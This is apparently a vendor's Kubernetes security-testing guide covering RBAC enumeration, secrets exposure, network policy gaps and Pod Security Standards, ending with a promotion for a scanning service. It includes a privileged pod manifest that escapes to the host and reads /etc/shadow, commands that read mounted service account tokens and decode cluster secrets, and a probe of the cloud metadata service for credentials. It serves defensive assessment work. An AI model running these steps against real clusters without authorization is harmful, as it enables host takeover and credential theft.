Kubernetes Security Testing: RBAC, Secrets, and Network Policy Misconfigurations
Kubernetes clusters are complex systems with many moving parts, and complexity is the enemy of security. RBAC rules accumulate over time and are rarely audited. Secrets end up in the wrong places. Network policies that look correct on paper have gaps that allow lateral movement. The Kubernetes security model is powerful, but only when it is correctly configured.
This guide covers the cluster security assessment methodology: enumerating RBAC permissions, testing secrets management, validating network policy enforcement, exploiting service account misconfigurations, and the attack paths that lead from a compromised pod to cluster admin.
RBAC Enumeration and Privilege Escalation
Role-Based Access Control is the authorization layer for the Kubernetes API. Misconfigured RBAC is the most common path from a compromised workload to cluster compromise.
Enumerate what you can do
# List all permissions available to current user/service account
kubectl auth can-i --list
# Check specific permissions
kubectl auth can-i get secrets --all-namespaces
kubectl auth can-i create pods
kubectl auth can-i escalate clusterroles
# Enumerate roles and bindings (requires get access)
kubectl get clusterrolebindings -o json | jq '.items[] | {name: .metadata.name, subjects: .subjects, role: .roleRef.name}'
kubectl get rolebindings -A -o json | jq '.items[] | {ns: .metadata.namespace, name: .metadata.name, subjects: .subjects}'
kubectl-who-can inverts the query: given a verb and resource, who has permission?
kubectl-who-can get secrets -A
kubectl-who-can create clusterrolebindings
High-risk RBAC permissions
| Permission | Risk | Escalation path |
|---|---|---|
* on * (cluster-admin) |
Critical | Full cluster control |
create pods |
Critical | Spawn privileged pod, escape to host |
get/list secrets |
High | Read service account tokens, API keys |
patch/update pods/exec |
High | Exec into running privileged containers |
create/update rolebindings |
Critical | Grant yourself higher permissions |
impersonate users/serviceaccounts |
Critical | Act as any principal in the cluster |
get nodes (kubelet API) |
Medium | Enumerate node details for targeting |
Pod creation as privilege escalation
If a service account can create pods, it can create a privileged pod with the host's root filesystem mounted — a complete host escape:
apiVersion: v1
kind: Pod
metadata:
name: priv-escape
spec:
hostNetwork: true
hostPID: true
containers:
- name: escape
image: alpine
command: ["/bin/sh", "-c", "chroot /host /bin/bash -c 'id && cat /etc/shadow'"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
kubectl apply -f priv-escape.yaml
kubectl logs priv-escape
Secrets Management Assessment
Kubernetes Secrets are base64-encoded, not encrypted, by default. Without encryption at rest configured, anyone with etcd read access can retrieve all secrets in plaintext.
Enumerate accessible secrets
# List secrets (requires get secrets permission)
kubectl get secrets -A
# Read a specific secret
kubectl get secret my-secret -o jsonpath='{.data}' | jq 'to_entries[] | {key: .key, value: (.value | @base64d)}'
# Check if encryption at rest is enabled
kubectl get pod -n kube-system -l component=kube-apiserver -o yaml | grep encryption-provider-config
Service account token abuse
Every pod has a service account token mounted by default. From inside a compromised pod, this token is used to authenticate to the Kubernetes API:
# Inside a compromised pod
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Query the API server
curl -s --cacert $CACERT \
-H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/secrets
If the pod's service account has over-broad permissions (common when developers use default service accounts and grant them wide permissions), this token provides significant cluster access.
Common secrets management failures
- Secrets stored in ConfigMaps instead of Secrets objects
- Secrets values hardcoded in pod environment variables in manifests committed to version control
- No encryption at rest configured for etcd (default in most managed Kubernetes)
- Using the default service account for workloads with broad RBAC grants
- Secrets not rotated after service account or user offboarding
- External secrets not using a secrets manager (Vault, AWS Secrets Manager, Azure Key Vault)
Network Policy Testing
By default, Kubernetes has no network isolation between pods. Any pod can reach any other pod on any port across all namespaces. NetworkPolicies restrict this, but only if the CNI plugin enforces them and the policies are correctly written.
Verify CNI enforcement
# Check CNI plugin
kubectl get pods -n kube-system | grep -E "calico|cilium|weave|flannel"
# Flannel does NOT enforce NetworkPolicy — if flannel is the CNI, policies are advisory only
# Calico, Cilium, and Weave Net do enforce NetworkPolicy
Test policy enforcement from inside a pod
# Spawn a debug pod in a namespace
kubectl run test-pod --image=alpine --rm -it -- sh
# From inside: attempt connections to other pods and services
# This should be blocked if NetworkPolicy is correctly applied
wget -qO- --timeout=3 http://other-service.other-namespace.svc.cluster.local
curl -s --connect-timeout 3 http://10.0.1.50:5432 # PostgreSQL in another namespace
Common network policy gaps
- No default-deny policy — without an explicit deny-all ingress/egress policy, all traffic is allowed by default
- Overly broad namespace selectors — allowing all pods from a namespace when only specific pods should be allowed
- Missing egress restrictions — NetworkPolicies commonly cover ingress but not egress, allowing pods to initiate connections anywhere
- DNS not included in egress allow — teams restrict egress but forget to allow port 53 to CoreDNS, breaking service discovery
- Metadata service access — pods in cloud environments can access the instance metadata service (169.254.169.254) unless explicitly blocked
# Test IMDS access from a pod (cloud environments)
curl -s --connect-timeout 3 http://169.254.169.254/latest/meta-data/
# If this returns data, the pod can access cloud credentials via the metadata service
Pod Security Standards
Pod Security Admission (PSA) replaced PodSecurityPolicies in Kubernetes 1.25. It enforces three security profiles at the namespace level:
| Profile | What it prevents |
|---|---|
| Privileged | Nothing — no restrictions |
| Baseline | Privileged containers, host namespaces, most dangerous capabilities |
| Restricted | Everything in Baseline + requires non-root, drops all capabilities, enforces seccomp |
# Check namespace security labels
kubectl get namespaces -o json | jq '.items[] | {name: .metadata.name, labels: .metadata.labels}' | grep -A3 "pod-security"
# Try to create a privileged pod in a restricted namespace
kubectl apply -f privileged-pod.yaml -n restricted-namespace
# Should be rejected: "violates PodSecurity "restricted:latest""
Cluster-Level Assessment with Kube-bench and Kube-hunter
kube-bench
kube-bench runs CIS Kubernetes Benchmark checks against cluster configuration:
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs job/kube-bench
Key sections: API server configuration (anonymous auth disabled, audit logging enabled), etcd encryption at rest, kubelet authentication, and controller manager security settings.
kube-hunter
kube-hunter performs active security testing against a cluster from a network perspective — enumerating exposed services, testing anonymous API access, checking for open dashboards:
# Run from outside the cluster (network perspective)
kube-hunter --remote https://api.cluster.example.com:6443
# Run from inside a pod (pod perspective — simulates compromised workload)
kubectl run hunter --image=aquasec/kube-hunter --rm -it -- --pod
Common Kubernetes Security Findings
- Cluster-admin or broad wildcard RBAC grants on workload service accounts
- Default service account used by application pods with inherited permissions
- No NetworkPolicy default-deny; full east-west traffic allowed
- etcd not encrypted at rest; Secret values accessible from etcd backups
- Kubernetes dashboard exposed without authentication
- API server anonymous authentication enabled (
--anonymous-auth=true) - Kubelet API accessible without authentication (
--anonymous-auth=trueon kubelet) - Pods running as root with unnecessary capabilities
- No Pod Security Standards enforcement (
privilegedprofile on all namespaces) - Secrets in environment variables in manifests checked into version control
Running applications on Kubernetes? Ironimo tests the web-facing attack surface of your applications — the APIs, authentication endpoints, and user-facing interfaces that sit above the cluster layer — using professional pentesting tooling on demand.
Start free scan